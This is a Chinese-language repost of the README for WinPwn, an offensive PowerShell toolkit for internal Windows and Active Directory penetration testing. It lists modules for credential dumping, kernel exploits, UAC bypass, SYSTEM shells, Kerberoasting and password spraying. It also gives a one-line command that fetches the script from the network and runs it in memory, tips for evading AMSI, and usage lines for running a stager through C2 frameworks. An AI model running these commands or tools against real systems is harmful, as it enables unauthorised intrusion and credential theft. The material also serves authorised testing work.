内部 Windows 渗透测试/AD 安全自动化
2023-4-6 09:24:39 Author: Ots安全(查看原文) 阅读量:23 收藏

在过去的许多内部渗透测试中,由于缺少代理支持,我经常遇到现有 Powershell Recon / Exploitation 脚本的问题。我也经常一个接一个地运行相同的脚本来获取有关当前系统和/或域的信息。为了使尽可能多的内部渗透测试过程(侦察和利用)自动化,并且出于代理原因,我编写了自己的脚本,具有自动代理识别和集成功能。该脚本主要基于其他知名的大型攻击性安全 Powershell 项目。

欢迎任何建议、反馈、拉取请求和评论!

只需导入模块:

Import-Module .\WinPwn.ps1或者 iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')

要绕过 AMSI,请采用现有绕过技术之一,找到 AMSI触发器并在旁路函数中手动更改它或对触发器字符串进行编码。或者混淆整个脚本。

如果您发现自己被困在无法访问互联网的 Windows 系统上 - 完全没有问题,只需使用Offline_Winpwn.ps1,其中包括最重要的脚本和可执行文件。

导入后可用的功能:

  • WinPwn-> 选择攻击的菜单:

  • Inveigh-> 在新的控制台窗口中执行 Inveigh,集成会话管理 (Invoke-TheHash) 的 SMB 中继攻击

  • SessionGopher-> 执行 Sessiongopher 询问你的参数

  • Kittielocal->

    • 混淆的 Invoke-Mimikatz 版本

    • 记忆中的 Safetykatz

    • 使用 rundll32 技术转储 lsass

    • 下载并运行经过混淆的 Lazagne

    • 转储浏览器凭据

    • 定制版 Mimikittenz

    • 泄露 Wifi 凭证

    • 转储 SAM 文件 NTLM 哈希

    • 锐云

  • Localreconmodules->

    • 收集已安装的软件、易受攻击的软件、共享、网络信息、组、权限等等

    • 检查典型的漏洞,如 SMB 签名、LLMNR 中毒、MITM6、WSUS over HTTP

    • 检查 Powershell 事件日志中的凭据或其他敏感信息

    • 收集浏览器凭证和历史记录

    • 在注册表和文件系统中搜索密码

    • 查找敏感文件(配置文件、RDP 文件、keepass 数据库)

    • 在本地系统上搜索 .NET 二进制文件

    • 可选:Get-Computerdetails (Powersploit) 和 PSRecon

  • Domainreconmodules->

    • 收集各种域信息以供人工审核

    • 在描述字段中查找 AD 密码

    • 搜索潜在的敏感域共享文件

    • 枚举不受约束的委托系统/用户

    • 生成猎犬报告

    • 域系统的 MS17-10 扫描器

    • 用于域系统的 Bluekeep 扫描器

    • SQL Server 发现和审计功能 - PowerUpSQL

    • MS-RPRN 检查域控制器或所有系统

    • 使用 Grouper2 进行组策略审计

    • 使用 ADRecon 在 CSV 文件(或 XLS,如果安装了 excel)中生成 AD 报告

    • 检查打印机是否存在常见漏洞

    • 搜索基于资源的约束委派攻击路径

    • 检查所有 DC 是否存在 zerologon - CVE-2020-1472

    • 还有更多,随便看看

  • Privescmodules

    • itm4ns 调用-PrivescCheck

    • winPEAS

    • Powersploits PowerUp Allchecks、Sherlock、GPP 密码

    • DLL 劫持、文件权限、注册表权限和弱密钥、Rotten/Juicy Potato Check

  • kernelexploits->

    • MS15-077 - (XP/Vista/Win7/Win8/2000/2003/2008/2012) 仅限 x86!

    • MS16-032 - (2008/7/8/10/2012)!

    • MS16-135 -(仅限 WS2k16)!

    • CVE-2018-8120 - 2018 年 5 月,Windows 7 SP1/2008 SP2、2008 R2 SP1!

    • CVE-2019-0841 - 2019 年 4 月!

    • CVE-2019-1069 - Polarbear 硬链接,需要凭据 - 2019 年 6 月!

    • CVE-2019-1129/1130 - 竞争条件,需要多核 - 2019 年 7 月!

    • CVE-2019-1215 - 2019 年 9 月 - 仅限 x64!

    • CVE-2020-0638 - 2020 年 2 月 - 仅限 x64!

    • CVE-2020-0796 - SMBGhost

    • CVE-2020-0787 - 2020 年 3 月 - 所有 Windows 版本

    • CVE-2021-34527/CVE-2021-1675 - 2021 年 6 月 - PrintNightmare

    • CVE-2021-40449 - CallbackHell - 2021 年 10 月

    • 多汁土豆漏洞利用

    • itm4ns Printspoofer

  • UACBypass->

    • UAC Magic,基于 James Forshaw 关于 UAC 的三部分帖子

    • UAC 绕过 cmstp 技术,作者 Oddvar Moe

    • DiskCleanup UAC 旁路,作者:James Forshaw

    • DccwBypassUAC 技术,作者:Ernesto Fernandez 和 Thomas Vanhoutte

  • SYSTEMShell->

    • 使用 CreateProcess 弹出系统 Shell

    • 使用 NamedPipe 模拟弹出系统 Shell

    • 使用令牌操作弹出系统外壳

    • 使用 UsoClient DLL 加载或 CreateProcess 绑定系统外壳

  • Shareenumeration-> Invoke-Filefinder 和 Invoke-Sharefinder (Powerview / Powersploit)

  • Domainshares -> Snaffler 或 Passhunt 搜索所有域系统

  • Groupsearch-> Get-DomainGPOUserLocalGroupMapping - 通过组策略映射 (Powerview / Powersploit) 查找您具有管理员访问权限或 RDP 访问权限的系统

  • Kerberoasting-> 在新窗口中执行 Invoke-Kerberoast 并存储哈希以供以后破解

  • PowerSQL-> SQL Server 发现、检查当前用户的访问权限、审核默认凭据 + UNCPath 注入攻击

  • Sharphound-> Bloodhound 3.0 报告

  • Adidnsmenu-> 创建 Active Directory 集成 DNS 节点或删除它们

  • MS17-10-> 扫描域或所有系统中的活动 Windows 服务器以查找 MS17-10 (Eternalblue) 漏洞

  • Sharpcradle-> 从远程 Web 服务器加载 C# 文件到 RAM

  • DomainPassSpray-> DomainPasswordSpray 攻击,所有域用户一个密码

  • Bluekeep-> 用于域系统的 Bluekeep 扫描器

如果没有参数,大多数函数只能在交互式 shell 中使用。所以我决定添加参数-noninteractive并使-consoleoutput脚本可用于异步 C2 框架,如 Empire、Covenant、Cobalt Strike 或其他框架。此外,-repo添加了参数以使用 WinPwn 及其来自本地存储库的所有功能。它们可以按如下方式使用:

用法:

-noninteractive -> 对功能没有问题,以便它们使用预定义或用户定义的参数运行

-consoleoutput -> 不创建战利品/报告文件夹。每个函数都将输出返回到控制台,以便您可以查看 C2 框架示例的代理日志中的所有内容:

WinPwn -noninteractive -consoleoutput -DomainRecon -> 这将返回每个域侦察脚本和函数,并且可能会为您提供非常多的输出

WinPwn -noninteractive -consoleoutput -Localrecon -> 这将尽可能多地为本地系统枚举信息

Generalrecon -noninteractive -> 执行基本的本地侦察功能并将输出存储在相应的文件夹中

UACBypass -noninteractive -command "C:\temp\stager.exe" -technique ccmstp -> 从低特权会话中在高完整性进程中执行一个 stager

Kittielocal -noninteractive -consoleoutput -browsercredentials -> 通过 Sharpweb 转储浏览器凭据,将输出返回到控制台

Kittielocal -noninteractive -browsercredentials -> 转储 SAM 文件 NTLM-Hashes 并将输出存储在文件中

WinPwn -PowerSharpPack -consoleoutput -noninteractive -> 在内存中执行 Seatbelt、PowerUp、Watson 和更多 C# 二进制文件

Dotnetsearch -consoleoutput -noninteractive -> 在.NET 程序集中C:\Program Files\搜索C:\Program Files (x86)\

WinPwn -repo http://192.168.1.10:8000/WinPwn_Repo -> 使用本地网络服务器作为离线存储库以在没有互联网访问的情况下使用 WinPwn

Get_WinPwn_Repo.sh:

用法:./Get_WinPwn_Repo.sh {选项}

示例:./Get_WinPwn_Repo.sh --install

选项:--install 下载存储库并将其放置到 ./WinPwn_Repo/ --remove 删除存储库 ./WinPwn_Repo/ --reinstall 删除存储库并下载一个新存储库到 ./WinPwn_Repo/ --start-server 启动 python端口 8000 上的 HTTP 服务器 --help 显示此帮助

项目地址:https://github.com/S3cur3Th1sSh1t/WinPwn


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247497213&idx=1&sn=3f88aa5974623473a651bde767a9aafe&chksm=9badbcb6acda35a0bfe33a6f107ef984bb9b6294fb153ca44e21b76dfe32a7dedbd509483e03#rd
如有侵权请联系:admin#unsafe.sh